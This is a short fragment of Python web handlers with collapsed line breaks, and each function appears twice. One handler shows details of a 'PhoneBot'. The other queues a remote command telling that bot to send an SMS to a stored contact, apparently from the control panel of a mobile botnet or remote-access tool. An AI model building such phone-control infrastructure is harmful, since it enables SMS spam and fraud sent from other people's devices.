def get(self, *args, **kwargs): try: bot_id = self.get_argument("bot_id") bot = PhoneBot.by_id(bot_id) if bot == None: raise ValueError except: self.write("Error") self.finish() return self.render("user/botdetails.html", bot = bot)
def get(self, *args, **kwargs): try: bot_id = self.get_argument("bot_id") bot = PhoneBot.by_id(bot_id) if bot == None: raise ValueError except: self.write("Error") self.finish() return self.render("user/botdetails.html", bot=bot)
def post(self, *args, **kwargs): """ Creates SMS send message commands """ try: bot_id = self.get_argument("bot-id") contact_id = self.get_argument("sms-contact") text_message = self.get_argument("sms-text") except: self.render("user/error.html", operation="Send SMS", errors="Missing parameters") return bot = PhoneBot.by_id(bot_id) cmd = {"op": "sms", "phone_number": Contact.by_id(contact_id).phone_number, "message": text_message} rcommand = RemoteCommand(phone_bot_id=bot.id, command=json.dumps(cmd).encode("utf-8", "ignore")) self.dbsession.add(rcommand) self.dbsession.flush() self.render("user/smssuccess.html")
def post(self, *args, **kwargs): ''' Creates SMS send message commands ''' try: bot_id = self.get_argument("bot-id") contact_id = self.get_argument("sms-contact") text_message = self.get_argument("sms-text") except: self.render("user/error.html", operation = "Send SMS", errors = "Missing parameters") return bot = PhoneBot.by_id(bot_id) cmd = { 'op': 'sms', 'phone_number': Contact.by_id(contact_id).phone_number, 'message': text_message, } rcommand = RemoteCommand( phone_bot_id = bot.id, command = json.dumps(cmd).encode('utf-8', 'ignore'), ) self.dbsession.add(rcommand) self.dbsession.flush() self.render("user/smssuccess.html")